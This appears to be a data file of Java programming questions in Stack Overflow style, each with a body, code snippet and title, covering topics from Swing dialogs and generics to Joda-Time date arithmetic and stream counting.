work.This also only occurs on OSX . Windows and Linux do n't have this problem . I 'm running this on OSX El Capitan.As far as code samples , it 's affecting all dialogs across the application . JOptionPanes & JDialogs , does n't seem to matter . Here 's a simple JOptionPane declaration : This code IS being called on the EventThread , so I do n't believe it 's a threading issue.I 'm totally stumped as to the cause of this . So far we 've ignored it by compiling and running it in Java 7 , but at some point as versions progress we will need to deal with this issue more directly.Anyone have any ideas ? Edit : Thanks for the SSCCE Idea . Now I 'm more confused than ever . When I put together a quick frame/dialog demonstration , it worked perfectly . No issues . So I do n't know what it is in the application that could be causing this . Any good places to start looking ? Edit 2 : Wrapped one of the declarations in SwingUtilities.invokeLater , and it worked . Ok ... now what could the culprit be ? It 's still got to be something that Java 8 is compiling different than Java 7.Edit 3 : More weird behavior . I moved my IDE into a separate `` desktop '' than the application it was running , and when the buggy dialog is displayed , i cant switch to that desktop . I can switch to any app on the current desktop , but not to another desktop.Edit 4 : The dialogs in question are being triggered by drag and drop actions . Not sure if that helps or not , but I do see that there is a thread in the background in the thread dump using the sun.lwawt.macosx.CDragSourceContextPeer class .","int n = JOptionPane.showOptionDialog ( mcContext.getMapperView ( ) , `` xPath of dropping target ca n't be evaluated '' + `` \nPlease , select xPath for dropped node '' , `` xPath calculation for dropped node '' , JOptionPane.YES_NO_CANCEL_OPTION , JOptionPane.QUESTION_MESSAGE , null , options , options [ 0 ] ) ;","Java 8 , Swing , and OSX : Dialogs make UI unresponsive to Mouse" +Java,"I need to store key/value info in some type of collection . In C # , I 'd define a dictionary like this : Then I would access the values so : How do I do this in Java ? I 've seen examples with ArrayList , but I 'd like the solution with generics , if possible .","var entries = new Dictionary < string , int > ( ) ; entries.Add ( `` Stop me '' , 11 ) ; entries.Add ( `` Feed me '' , 12 ) ; entries.Add ( `` Walk me '' , 13 ) ; int value = entries [ `` Stop me '' ] ;",C # refugee seeks a bit of Java collections help +Java,"Suppose we a have class named DynamicClass : Now , imagine the following instantiating of DynamicClass : Of course , the calling of getName and getOther methods throws MethodNotFoundException exception . However , I 'm curious , is there any way to catch the MethodNotFoundException exception inside the DynamicClass class , i.e . the calling of get ( `` Name '' ) and get ( `` Other '' ) rather than throwing the MethodNotFoundException exception due to the calling of getName ( ) and getOther ( ) ?",public class DynamicClass { public void get ( String input ) { System.out.println ( input ) ; } } DynamicClass clazz = new DynamicClass ( ) ; clazz.getName ( ) ; clazz.getOther ( ) ;,How to catch the MethodNotFoundException exception inside the class ? +Java,I am new to Java . In this document they give this as a use case for using wildcard : This is their solution : But I could do the same without a wild card : Can someone show me a simple use case where regular generics wo n't work but a wild card will ? Update : The answers over here When to use wildcards in Java Generics ? do NOT tell us the need for wildcard . In fact its the other way around .,static void printCollection ( Collection c ) { Iterator i = c.iterator ( ) ; for ( int k = 0 ; k < c.size ( ) ; k++ ) { System.out.println ( i.next ( ) ) ; } } static void printCollection ( Collection < ? > c ) { for ( Object e : c ) { System.out.println ( e ) ; } } static < T > void printCollection ( Collection < T > c ) { Iterator i = c.iterator ( ) ; for ( int k = 0 ; k < c.size ( ) ; k++ ) { System.out.println ( i.next ( ) ) ; } },"In Java , what can a wild card do that regular generics can not do ?" +Java,"When I run this codeit works as expected and I get the outputHowever , if I replace the lambda by a method reference for clone ( ) I get a runtime exception : I do n't understand this at all . I would have thought the method reference and the lambda were equivalent . Also it seems a really strange exception to get . Can anyone explain ? I am using JDK 1.8.0_25 .","List < int [ ] > list = Arrays.asList ( new int [ ] { 1 , 2 , 3 } , new int [ ] { 4 , 5 } ) ; int [ ] [ ] arr = list.stream ( ) .map ( j - > j.clone ( ) ) .toArray ( int [ ] [ ] : :new ) ; System.out.println ( Arrays.deepToString ( arr ) ) ; [ [ 1 , 2 , 3 ] , [ 4 , 5 ] ] int [ ] [ ] arr = list.stream ( ) .map ( int [ ] : :clone ) .toArray ( int [ ] [ ] : :new ) ; Exception in thread `` main '' java.lang.NoClassDefFoundError : Array at Main.lambda $ MR $ main $ clone $ 8ed4b78b $ 1 ( Main.java:14 ) at Main $ $ Lambda $ 1/1160460865.apply ( Unknown Source ) at java.util.stream.ReferencePipeline $ 3 $ 1.accept ( ReferencePipeline.java:193 ) at java.util.Spliterators $ ArraySpliterator.forEachRemaining ( Spliterators.java:948 ) at java.util.stream.AbstractPipeline.copyInto ( AbstractPipeline.java:512 ) at java.util.stream.AbstractPipeline.wrapAndCopyInto ( AbstractPipeline.java:502 ) at java.util.stream.AbstractPipeline.evaluate ( AbstractPipeline.java:576 ) at java.util.stream.AbstractPipeline.evaluateToArrayNode ( AbstractPipeline.java:255 ) at java.util.stream.ReferencePipeline.toArray ( ReferencePipeline.java:438 ) at Main.main ( Main.java:14 ) at sun.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) at sun.reflect.NativeMethodAccessorImpl.invoke ( NativeMethodAccessorImpl.java:62 ) at sun.reflect.DelegatingMethodAccessorImpl.invoke ( DelegatingMethodAccessorImpl.java:43 ) at java.lang.reflect.Method.invoke ( Method.java:483 ) at com.intellij.rt.execution.application.AppMain.main ( AppMain.java:140 ) Caused by : java.lang.ClassNotFoundException : Array at java.net.URLClassLoader $ 1.run ( URLClassLoader.java:372 ) at java.net.URLClassLoader $ 1.run ( URLClassLoader.java:361 ) at java.security.AccessController.doPrivileged ( Native Method ) at java.net.URLClassLoader.findClass ( URLClassLoader.java:360 ) at java.lang.ClassLoader.loadClass ( ClassLoader.java:424 )",Method reference to array clone ( ) causes NoClassDefFoundError : Array +Java,"I am looking into a web app that already uses Quartz.In the web.xml there is : What is the job of this servlet and it 's lifecycle ? I understand that it does some intialization for the quartz job scheduling but not exactly sure what.Since there is no servlet-mapping for it , I assume that it is not supposed to handle requests.Any help is appreciated.Thanks",< servlet > < servlet-name > QuartzInitializer < /servlet-name > < display-name > Quartz-Init Servlet < /display-name > < servlet-class > org.quartz.ee.servlet.QuartzInitializerServlet < /servlet-class > < load-on-startup > 5 < /load-on-startup > < /servlet >,beginner 's question on java ( Quartz ) scheduling +Java,"This is problem 9.5 from Cracking the Coding Interview 5th editionThe Problem : Write a method to compute all permutations of a stringHere is my solution , coded in Java ( test it , it works : ) ) I agreed with the author that my solution runs in O ( n ! ) time complexity because to solve this problem , you have to consider factorials , like for a word like `` top '' , there are three possibilities for the first letter , 2 for the second and so on ... . However she did n't make any mention of space complexity . I know that interviewers love to ask you the time and space complexity of your solution . What would the space complexity of this solution be ? My initial guess was O ( n2 ) because there are n recursive calls at each level n. So you would add n + n - 1 + n - 2 + n - 3 ... ..+ 1 to get n ( n+1 ) ⁄2 which is in O ( n2 ) . I reasoned that there are n recursive calls , because you have to backtrack n times at each level and that space complexity is the number of recursive calls your algorithm makes . For example , when considering all the permutations of `` TOP '' , at level , 3 recursive calls , gR ( [ O , P ] ,2 , '' T '' ) , gR ( [ P , T ] ,2 , '' O '' ) , gR ( [ T , O ] ,2 , '' P '' ) are made . Is my analysis of space complexity correct ?","public static void generatePerm ( String s ) { Queue < Character > poss = new LinkedList < Character > ( ) ; int len = s.length ( ) ; for ( int count=0 ; count < len ; count++ ) poss.add ( s.charAt ( count ) ) ; generateRecurse ( poss , len , `` '' ) ; } private static void generateRecurse ( Queue < Character > possibles , int n , String word ) { if ( n==0 ) System.out.println ( word ) ; else { for ( int count=0 ; count < n ; count++ ) { char first = possibles.remove ( ) ; generateRecurse ( possibles , n-1 , word+first ) ; possibles.add ( first ) ; } } }",Is my analysis of space complexity correct ? +Java,"I 've set up a Java application where I 'm creating a bundle of 4 cards . The problem is that all the cards do not come in at once . Some times just one shows up , then a few seconds or minute later the other cards show up . How do I get them to all show up on the headset at the same time ? edit : I tried HTML paging and that did n't work and now I think I 'm more confused . So in my senario here I want to send a bunch of landmarks to the user that they can navigate to . I want all the landmarks in a bundle , I want a cover to the bundle that is n't an option in the bundle saying `` here are your landmarks '' , and I 'd like the bundle to get to the user all at the same time . How can I achieve this ?","TimelineItem timelineItemEmpire = new TimelineItem ( ) ; timelineItemEmpire.setText ( `` Empire State Building '' ) ; // Triggers an audible tone when the timeline item is receivedtimelineItemEmpire.setNotification ( new NotificationConfig ( ) .setLevel ( `` DEFAULT '' ) ) ; Location empireLoc = new Location ( ) ; empireLoc.setLatitude ( 40.748492 ) ; empireLoc.setLongitude ( -73.985868 ) ; timelineItemEmpire.setLocation ( empireLoc ) ; // Attach an image , if we have oneURL url = new URL ( WebUtil.buildUrl ( req , `` /static/images/empirestate.jpg '' ) ) ; timelineItemEmpire.setBundleId ( bundleId ) ; List < MenuItem > menuItemList = new ArrayList < MenuItem > ( ) ; menuItemList.add ( new MenuItem ( ) .setAction ( `` NAVIGATE '' ) ) ; timelineItemEmpire.setMenuItems ( menuItemList ) ; MirrorClient.insertTimelineItem ( credential , timelineItemEmpire , contentType , url.openStream ( ) ) ; TimelineItem timelineItemCP = new TimelineItem ( ) ; timelineItemCP.setText ( `` Central Park '' ) ; // Triggers an audible tone when the timeline item is receivedtimelineItemCP.setNotification ( new NotificationConfig ( ) .setLevel ( `` DEFAULT '' ) ) ; // Attach an image , if we have oneURL url3 = new URL ( WebUtil.buildUrl ( req , `` /static/images/central_park.jpg '' ) ) ; timelineItemCP.setBundleId ( bundleId ) ; Location cpLoc = new Location ( ) ; cpLoc.setLatitude ( 40.772263 ) ; cpLoc.setLongitude ( -73.974488 ) ; timelineItemCP.setLocation ( cpLoc ) ; timelineItemCP.setMenuItems ( menuItemList ) ; MirrorClient.insertTimelineItem ( credential , timelineItemCP , contentType , url3.openStream ( ) ) ; TimelineItem timelineCover = new TimelineItem ( ) ; timelineCover.setText ( `` Nearby Landmarks '' ) ; timelineCover.setBundleId ( bundleId ) ; // Triggers an audible tone when the timeline item is receivedtimelineCover.setNotification ( new NotificationConfig ( ) .setLevel ( `` DEFAULT '' ) ) ; // Attach an image , if we have oneURL url4 = new URL ( WebUtil.buildUrl ( req , `` /static/images/bundle_cover.jpg '' ) ) ; MirrorClient.insertTimelineItem ( credential , timelineCover , contentType , url4.openStream ( ) ) ;",How do I send bundled cards all at the same time ? +Java,"I am reading 《Understanding the JVM Advanced Features and Best practices》 that has a code segment that explains happens-before rule in java . I can not understand . The code is below : Suppose that thread A starts before thread B in code . I can understand that we do n't know the result returned by getValue ( ) in Thread B , because it is not thread safe . But the book says if add synchronized key word to function setValue ( ) and getValue ( ) , then there is not exists thread safe problem and method getValue ( ) will return the right value . The book explains that because synchronized meets with happens-before rule . So I have two questions by below code.Although A.start ( ) run before B.start ( ) and value is volatile , we ca n't ensure thread B can print out 10 , right ? Because thread B is possible scheduled first by JVM , then thread B will print 0 not 10.Even if thread A scheduled before thread B by JVM , but we also ca n't guarantee that the instruction this.value = value executed by JVM before return this.value because JVM will sort instructions again . Am I understanding is right ? Please help me .",private int value = 0 ; //executed by Thread Apublic void setValue ( int value ) { this.value = value ; } //executed by Thread Bpublic void getValue ( ) { return value ; } public class VolatileDemo3 { private volatile int value = 0 ; public static void main ( String [ ] args ) { VolatileDemo3 v = new VolatileDemo3 ( ) ; Thread A = new Thread ( v.new Test1 ( ) ) ; // Thread A Thread B = new Thread ( v.new Test2 ( ) ) ; //Thread B A.start ( ) ; B.start ( ) ; } public void setValue ( int value ) { this.value = value ; } public int getValue ( ) { return this.value ; } public class Test1 implements Runnable { @ Override public void run ( ) { setValue ( 10 ) ; } } public class Test2 implements Runnable { @ Override public void run ( ) { int v = getValue ( ) ; System.out.println ( v ) ; } } },"if thread A start before thread B in java , then A will be scheduled by os before B ?" +Java,"I 've had to do a Java exam recently , and was wondering about one of the questions I had wrong . The question was as follows : What will the following code print when run without any arguments ... With the answers being a number between 1 and 10.My original answer was 7 , whereas they state that the correct one is 6.My logic : However , they state it as k = 1 + 3 + 2 . Could anyone explain as to why the variable is replaced first , before performing the ++k ?","public class TestClass { public static int m1 ( int i ) { return ++i ; } public static void main ( String [ ] args ) { int k = m1 ( args.length ) ; k += 3 + ++k ; System.out.println ( k ) ; } } m1 sets k to 1 , as it 's ++i and thus gets incremented prior to returning.then the += is unrolled , making : ' k = k + 3 + ++k'.++k is executed , making k 2.Replace the variables with their value : ' k = 2 + 3 + 2 ' k = 7 .",Trouble understanding order of execution in a java algorithm ( k= and ++k ) +Java,"I 'd like to use JEP 330 to run a single-file source-code program with Java ( > = 11 ) .Doing so , I 'd like to pass options understood by the compiler ( javac ) but not the runtime ( java ) , e.g . -XDsuppressNotes . This causes e.g . the following invocation to fail : How can I specify such compiler-specific option in this case ?",java -- enable-preview -- source=12 -XDsuppressNotes Test.javaUnrecognized option : -XDsuppressNotesError : Could not create the Java Virtual Machine.Error : A fatal exception has occurred . Program will exit .,How to pass compiler options when running a single-file source-code Java program ? +Java,"I 'm refactoring a very large method with a lot of repetition in it.In the method there are many while loops which include : I want to extract this as a method , because it happens 3 times in this one method currently , but when I do so I get an error on the break as it is no longer within a loop . The problem is that it is still necessary to break out of the while loops , but only when the maximum number of results are reached . Any suggestions ?","if ( count > maxResults ) { // Send error response sendResponse ( XMLHelper.buildErrorXMLString ( `` Too many results found , Please refine your search '' ) , out , session ) ; break ;",Break in a method called from a loop +Java,"I was trying to write a mkString function in Java8 , a la Scala 's useful mkString and ran into 2 issues that I could use some help on : I am unable to make the first argument of mkString a generic Collection reference like Collection < Object > c and have invokers call with ANY type of collection.Unable to reference the returned result of reduce ( ) in-line to access the result 's length to remove the extra leading separator.Here 's the code :","public static void main ( String [ ] args ) { List < Integer > numbers = Arrays.asList ( 1 , 2 , 3 , 4 , 5 ) ; System.out.println ( mkString ( numbers , `` , '' ) ) ; } public static String mkString ( Collection < Integer > c , String sep ) { return c.stream ( ) .map ( e - > String.valueOf ( e ) ) .reduce ( `` '' , ( a , b ) - > a + sep + b ) .substring ( 1 , < < > > .length ) ; }",How to reference the result of reduce ( ) operation in Java 8 ? +Java,"I 'm trying to compile a JasperDesign to create a report programmatically . Since I need to include a Conditional Style in Javascript , I set the JasperDesign language accordingly : Note that I 'm using Scala 2.11 on Java 8 , running on Play for Scala 2.5Since JasperReports 6.4.3 ( the version I 'm using ) has a dependency on rhino 1.7.6 , I added it to the classpath : The problem is that whenever I compile the JasperDesign I get an exception . This happens even when I do n't include a Javascript Conditional Style : java.lang.NoSuchMethodError : org.mozilla.javascript.ContextFactory.enterContext ( ) Lorg/mozilla/javascript/Context ; at net.sf.jasperreports.compilers.JavaScriptClassCompiler.compileUnits ( JavaScriptClassCompiler.java:124 ) at net.sf.jasperreports.engine.design.JRAbstractCompiler.compileReport ( JRAbstractCompiler.java:203 ) at net.sf.jasperreports.engine.JasperCompileManager.compile ( JasperCompileManager.java:357 ) at net.sf.jasperreports.engine.JasperCompileManager.compileToStream ( JasperCompileManager.java:326 ) at net.sf.jasperreports.engine.JasperCompileManager.compileReportToStream ( JasperCompileManager.java:599 ) If I remove jasperDesign.setLanguage ( `` javascript '' ) I have no compilation errors . What is missing here ? Is there a conflict between Nashorn and Rhino ?",val jasperDesign = new JasperDesignjasperDesign.setLanguage ( `` javascript '' ) libraryDependencies += `` org.mozilla '' % `` rhino '' % `` 1.7.6 '',Exception when compiling JasperReport with javascript language +Java,The following java code executes without error in Java 1.7How does java figure out that y is an int since the declaration never gets run . Does the declaration of variables within a case statement get scoped to the switch statement level when braces are not used in a case statement ?,public static void main ( String [ ] args ) { int x = 5 ; switch ( x ) { case 4 : int y = 3423432 ; break ; case 5 : { y = 33 ; } } },How does java scope declarations in switch case statements ? +Java,"I 'm having a hard time finding information about javac 's code elimination capabilities : I read that if you have something like the following , the if-statement will be eliminated : But how about this , for example : Or this : Since it 's very difficult/impossible to analyze a program to find all dead code ( probably similar to the halting problem ) , I would imagine that there are only a few well-defined constructs ( like the first example above ) , which javac will recognize and remove reliably . Is there a comprehensive list of these constructs ?",static final boolean DEBUG = false ; if ( DEBUG ) System.out.println ( `` Hello World ! `` ) ; // will be removed static final int VALUE = 3 ; if ( VALUE > 9 ) System.out.println ( `` VALUE > 9 ? ? ? `` ) ; // will this be removed ? static final SomeEnum VALUE = SomeEnum.FOO ; if ( VALUE==SomeEnum.BAR ) System.out.println ( `` Bar ? ? ? `` ) ; // will this be removed ?,javac code elimination capabilities +Java,"I have to assume that the following method does n't leak memory : Where data is a property of some class.Every time the method gets called , a new Integer is replacing the currently existing data reference . So what 's happening with the current/old data ? Java has to be doing something under the hood ; otherwise we 'd have to null-out any objects every time an object is assigned .",public final void setData ( final Integer p_iData ) { data = p_iData ; },Java Assignment Memory Leaks +Java,"I found this code on the Internet , and would love for someone to explain it to me ... This code compiles and works correctly , outputting the result 42.How is it possible that the variable fubar is accessed from a null without throwing a NullPointerException ?",public class Foo { static int fubar = 42 ; public static void main ( String [ ] args ) { System.out.println ( ( ( Foo ) null ) .fubar ) ; } },java static field from null +Java,I have the following file that represent booksI have tried to delete the second book from the file using this function : the Funtion : the function call : the book was deleted but the other `` -- -- -- -- -- -- -- -- -- -- -- -- - '' seperator are also deleted ` What should I do to get the following result instead :,"Book : ISBN=3title=english1publishDate=1/12/2015pageCount=200authors= [ 12 , 11 , john ] -- -- -- -- -- -- -- -- -- -- -- -- -Book : ISBN=5title=english2publishDate=1/12/2015pageCount=200authors= [ 12 , 11 , john2 ] -- -- -- -- -- -- -- -- -- -- -- -- -Book : ISBN=6title=english3publishDate=1/12/2015pageCount=200authors= [ 12 , 11 , john3 ] -- -- -- -- -- -- -- -- -- -- -- -- - public static void removeLineFromFile ( String file , String start , String end ) { try { File inFile = new File ( file ) ; //Construct the new file that will later be renamed to the original filename . File tempFile = new File ( inFile.getAbsolutePath ( ) + `` .tmp '' ) ; BufferedReader br = new BufferedReader ( new FileReader ( file ) ) ; PrintWriter pw = new PrintWriter ( new FileWriter ( tempFile ) ) ; String line = null ; Boolean flag=true ; //Read from the original file and write to the new //unless content matches data to be removed . while ( ( line = br.readLine ( ) ) ! = null ) { if ( line.trim ( ) .equals ( start ) ) { flag=false ; } if ( line.trim ( ) .equals ( end ) ) { flag=true ; } if ( flag & & ! ( line.trim ( ) .equals ( end ) ) ) { pw.println ( line ) ; pw.flush ( ) ; } } pw.close ( ) ; br.close ( ) ; //Delete the original file if ( ! inFile.delete ( ) ) { System.out.println ( `` Could not delete file '' ) ; return ; } //Rename the new file to the filename the original file had . if ( ! tempFile.renameTo ( inFile ) ) System.out.println ( `` Could not rename file '' ) ; } catch ( FileNotFoundException ex ) { ex.printStackTrace ( ) ; } catch ( IOException ex ) { ex.printStackTrace ( ) ; } } public static void main ( String [ ] args ) { removeLineFromFile ( `` E : \\file.txt '' , `` Book : ISBN=5 '' , '' -- -- -- -- -- -- -- -- -- -- -- -- - '' ) } Book : ISBN=3title=english1publishDate=1/12/2015pageCount=200authors= [ 12 , 11 , john ] Book : ISBN=6title=english3publishDate=1/12/2015pageCount=200authors= [ 12 , 11 , john3 ] Book : ISBN=3title=english1publishDate=1/12/2015pageCount=200authors= [ 12 , 11 , john ] -- -- -- -- -- -- -- -- -- -- -- -- -Book : ISBN=6title=english3publishDate=1/12/2015pageCount=200authors= [ 12 , 11 , john3 ] -- -- -- -- -- -- -- -- -- -- -- -- -",Why Deletion between start and end strings wo n't work properly in java ? +Java,"I have a Java typed actor that is responsible for filter/retry logic on an external resource that may be temporarily unavailable . The actor 's fields and common methods are : The actor has several operations that all have more or less the same retry/buffer logic ; each operation has its own [ op ] Wait and [ op ] Buffer fields.The parent actor calls void operation ( OpInput opInput ) The preceding method calls void operation ( OpInput opInput , long currentWait ) using DEFAULTWAIT for the second parameterIf the currentWait parameter does not equal opWait then the input is stored in opBuffer , else the input is sent to the external resource.If the external resource returns a success , then opWait is set to DEFAULTWAIT , and the contents of opBuffer are sent back through the operation ( opInput ) method . If the external resource ( or more likely the network ) returns an error , then I update opWait = updateWait ( opWait ) and schedule operation ( opInput , opWait ) on the actor system scheduler using a delay of opWait ms.I.e . I 'm using the actor system scheduler to implement exponential backoff ; I 'm using the currentWait parameter to identify the message that I 'm retrying , and am buffering the other messages until the primary message is successfully processed by the external resource.The problem is that if the scheduled operation ( opInput , currentWait ) message is lost then I 'll be buffering messages forever because the currentWait == opWait guard will fail for all other messages . I could use something like spring-retry to implement exponential backoff but I do n't see a way to merge the operations ' retry loops , meaning that I could be using one thread per retry loop ( whereas using the actor system 's scheduler does n't put much more of a strain on the system ) .I 'm looking for a more fault tolerant way to implement buffering and exponential backoff on the interface between an actor and an external resource without having to allocate too many resources to the task .","public class MyActorImpl implements MyActor { private static final long MINWAIT = 50 ; private static final long MAXWAIT = 1000 ; private static final long DEFAULTWAIT = 0 ; private static final double BACKOFFMULTIPLIER = 1.5 ; private long updateWait ( long currentWait ) { return Math.min ( Math.max ( ( long ) ( currentWait * BACKOFFMULTIPLIER ) , MINWAIT ) , MAXWAIT ) ; } // mutable private long opWait = DEFAULTWAIT ; private final Queue < OpInput > opBuffer = new ArrayDeque < > ( ) ; // called from external actor public void operation ( OpInput opInput ) { operation ( opInput , DEFAULTWAIT ) ; } // called internally public void operation ( OpInput opInput , long currentWait ) ; }",Waiting indefinitely for a message that may never arrive +Java,"My java project required that I create an array of objects ( items ) , populate the array of items , and then create a main method that asks a user to enter the item code which spits back the corresponding item.It took me a while to figure out , but I ended up `` cheating '' by using a public variable to avoid passing/referencing the object between classes . Please help me properly pass the object back.This is the class with most of my methods including insert and the find method.This is my main class : Thanks I appreciate the help ! ! ! ! ! !","public class Catalog { private Item [ ] itemlist ; private int size ; private int nextInsert ; public Item queriedItem ; public Catalog ( int max ) { itemlist = new Item [ max ] ; size = 0 ; } public void insert ( Item item ) { itemlist [ nextInsert ] = item ; ++nextInsert ; ++size ; } public Item find ( int key ) { queriedItem = null ; for ( int posn = 0 ; posn < size ; ++posn ) { if ( itemlist [ posn ] .getKey ( ) == key ) queriedItem = itemlist [ posn ] ; } { return queriedItem ; } } } import java.util . * ; public class Program { public static void main ( String [ ] args ) { Scanner kbd = new Scanner ( System.in ) ; Catalog store ; int key = 1 ; store = new Catalog ( 8 ) ; store.insert ( new Item ( 10 , `` food '' , 2.00 ) ) ; store.insert ( new Item ( 20 , `` drink '' , 1.00 ) ) ; while ( key ! = 0 ) { System.out.printf ( `` Item number ( 0 to quit ) ? % n '' ) ; key = kbd.nextInt ( ) ; if ( key == 0 ) { System.out.printf ( `` Exiting program now ! `` ) ; System.exit ( 0 ) ; } store.find ( key ) ; if ( store.queriedItem ! = null ) { store.queriedItem.print ( ) ; } else System.out.printf ( `` No Item found for % d % n '' , key ) ; } } }",Advice on Java program +Java,Ok so i am just learning recursion and i am confused on one point . This is the codeThe output i am getting is : My question is why am i getting the output `` Leaving method . num = 2 '' . Should n't it stop at `` Leaving method . num = 1 '' since num has already reached 1 ?,public class RecursiveDemo { public static void showRecursion ( int num ) { System.out.println ( `` Entering method . num = `` + num ) ; if ( num > 1 ) { showRecursion ( num - 1 ) ; } System.out.println ( `` Leaving method . num = `` + num ) ; } public static void main ( String [ ] args ) { showRecursion ( 2 ) ; } } Entering method . num = 2Entering method . num = 1Leaving method . num = 1Leaving method . num = 2,Recursion output ambiguity +Java,"I give you 2 tests ; the purpose of which is solely to confirm that when service.doSomething is called , emailService.sendEmail is called with the person 's email as a parameter.Why is it that my team is telling me not to mock the domain objects required to run my tests , but not part of the actual test ? I am told mocks are for the dependencies of the tested service only . In my opinion , the resulting test code is leaner , cleaner and easier to understand . There is nothing to distract from the purpose of the test which is to verify the call to emailService.sendEmail occurs . This is something that I have heard and accepted as gospel for a long time , over many jobs . But I still can not agree with .","@ Mock private EmailService emailService ; @ InjectMocksprivate Service service ; @ Captorprivate ArgumentCaptor < String > stringCaptor ; @ Testpublic void test_that_when_doSomething_is_called_sendEmail_is_called_NO_MOCKING ( ) { final String email = `` billy.tyne @ myspace.com '' ; // There is only one way of building an Address and it requires all these fields final Address crowsNest = new Address ( `` 334 '' , `` Main Street '' , `` Gloucester '' , `` MA '' , `` 01930 '' , `` USA '' ) ; // There is only one way of building a Phone and it requires all these fields final Phone phone = new Phone ( `` 1 '' , `` 978-281-2965 '' ) ; // There is only one way of building a Vessel and it requires all these fields final Vessel andreaGail = new Vessel ( `` Andrea Gail '' , `` Fishing '' , 92000 ) ; // There is only one way of building a Person and it requires all these fields final Person captain = new Person ( `` Billy '' , `` Tyne '' , email , crowsNest , phone , andreaGail ) ; service.doSomething ( captain ) ; // < -- This requires only the person 's email to be initialised , it does n't care about anything else verify ( emailService , times ( 1 ) ) .sendEmail ( stringCaptor.capture ( ) ) ; assertThat ( stringCaptor.getValue ( ) , eq ( email ) ) ; } @ Testpublic void test_that_when_doSomething_is_called_sendEmail_is_called_WITH_MOCKING ( ) { final String email = `` billy.tyne @ myspace.com '' ; final Person captain = mock ( Person.class ) ; when ( captain.getEmail ( ) ) .thenReturn ( email ) ; service.doSomething ( captain ) ; // < -- This requires the person 's email to be initialised , it does n't care about anything else verify ( emailService , times ( 1 ) ) .sendEmail ( stringCaptor.capture ( ) ) ; assertThat ( stringCaptor.getValue ( ) , eq ( email ) ) ; }",Why do we not mock domain objects in unit tests ? +Java,"I have a method which takes an argument Collection < Foo > foos , which could be NULL . I want to end up with a local copy of the input as an ImmutableSet . Right now my code looks like this : Is there a cleaner way to do this ? If foos was a simple parameter I could do something like Objects.firstNonNull ( foos , Optional.of ( ) ) but I 'm not sure if there is something similar to handle collections .",if ( foos == null ) { this.foos = ImmutableSet.of ( ) ; } else { this.foos = ImmutableSet.copyOf ( foos ) ; },Clean Guava way to handle possibly-null collection +Java,"I am trying to wrap my head around what the raw memory looks like in different languages when using an array.Consider the following Java code : Obviously the array is holding references , and not objects ; that is , there is a contiguous array in memory of three references which each points to some other location in memory where the object sits . So the objects themselves are n't necessarily sitting in three contiguous buckets ; rather the references are.Now consider this : I 'd imagine in this situation the Strings exist somewhere with all the other constants in memory , and then the array holds references to those constants in memory ? So , again , in raw memory the array does n't look like [ ' h ' , ' i ' , '\0 ' , 't ' , ' h ' , ' e ' , ' r ' , ' e ' ... ( etc ) ] . ( using c-style termination just for convenience ) . Rather , it 's more like [ 'a83a3edf ' , 'a38decd ' ... ( etc ) ] where each element is a memory location ( reference ) .My conclusion from this thought process is that in Java , you can never ever imagine arrays as buckets of contiguous objects in memory , but rather as contiguous references . I ca n't think of any way to guarantee objects will always be stored contiguously in Java.Now consider C : The code above is functionally equivalent to the Java above -- that is , the array holds references ( pointers ) to some other memory location . Like Java , the objects being pointed to are n't necessarily contiguous.HOWEVER , in the following C code : The structs in array ARE contiguously located in raw memory.Now for my concrete questions : Was I correct in my assumption that in Java , arrays must ALWAYS hold references , as the programmer only ever has access to references in Java ? What about for raw data types ? Will it work differently then ? Will an array of ints in Java look just like one in C in raw memory ( besides the Object class cruft Java will add ) ? In Java , is there no way for the programmer to guarantee contiguous memory allocation of objects ? It might happen by chance , or with high probability , but the programmer can not GUARANTEE it will be so ? In C , programmers CAN create raw arrays of objects ( structs ) contiguously in memory , as I have shown above , correct ? How do other languages deal with this ? I 'm guessing Python works like Java ? The motivation for this question is that I want a solid understanding of what is happening at the raw memory level with arrays in these languages . Mostly for programmer-interview questions . I said in a previous interview that an array ( not in any language , just in general ) holds objects contiguously in memory like buckets . It was only after I said this that I realized that 's not quite how it works in a language like Java . So I want to be 100 % clear on it.Thanks . Let me know if anything needs clarification .","String a = `` hi '' ; String b = `` there '' ; String c = `` everyone '' ; String [ ] array = { a , b , c } ; String [ ] array = { `` hi '' , `` there '' , `` everyone '' } char *a = `` hi '' ; char *b = `` there '' ; char *c = `` everyone '' ; char *array [ ] = { a , b , c } ; struct my_struct array [ 5 ] ; // allocates 5 * size ( my_struct ) in memory ! NOT room for 5 // references/pointers , but room for 5 my_structs .","Arrays in different languages - store references , or raw objects ?" +Java,Calculating the number of days between 1900-01-01 and a date after 1918-03-24 using Joda-Time seems to give an off-by-one result.Using Java 8 java.time gives the correct result . What is the reason for Joda-Time not counting 1918-03-25 ? Using Joda-time v2.9.9.Output : Joda 1918-03-24 6656 Java 1918-03-24 6656 Joda 1918-03-25 6656 Java 1918-03-25 6657 Joda 1918-03-26 6657 Java 1918-03-26 6658 Joda 2017-10-10 43015 Java 2017-10-10 43016,"public static void main ( String [ ] args ) { jodaDiff ( `` 1918-03-24 '' ) ; javaDiff ( `` 1918-03-24 '' ) ; jodaDiff ( `` 1918-03-25 '' ) ; javaDiff ( `` 1918-03-25 '' ) ; jodaDiff ( `` 1918-03-26 '' ) ; javaDiff ( `` 1918-03-26 '' ) ; jodaDiff ( `` 2017-10-10 '' ) ; javaDiff ( `` 2017-10-10 '' ) ; } private static void jodaDiff ( String date ) { DateTime start = new DateTime ( 1900 , 1 , 1 , 0 , 0 , 0 , DateTimeZone.forID ( `` UTC '' ) ) ; DateTimeFormatter dateDecoder = DateTimeFormat.forPattern ( `` YYYY-MM-dd '' ) ; DateTime end = dateDecoder.parseDateTime ( date ) ; int diff = Days.daysBetween ( start , end ) .getDays ( ) ; System.out.println ( `` Joda `` + date + `` `` + diff ) ; } private static void javaDiff ( String date ) { LocalDate start = LocalDate.parse ( `` 1900-01-01 '' ) ; LocalDate end = LocalDate.parse ( date ) ; int diff = ( int ) ChronoUnit.DAYS.between ( start , end ) ; System.out.println ( `` Java `` + date + `` `` + diff + `` \n '' ) ; }",Joda-time off-by-one error when counting days after 1918-03-24 +Java,"I am currently told to count all .sql files which are hangin ' out on some servers . Manually solving this very basic task is not an option , instead , I wrote some code that makes use of a SimpleFileVisitor < Path > and stores all the sql files found along with its parent path in a Map < Path , List < Path > > .Now I want to receive the total amount of sql files found independent from their locations . I got it working with an enhanced for loop ( almost the classic way ) : The question is now , how can I do the same using the stream API ? I was n't able to get compilable code to work which is n't obviously doing the wrong thing.The following line looks like a good idea to me , but not to the compiler , unfortunately.The compiler saysCannot infer type argument ( s ) for < R > map ( Function < ? super 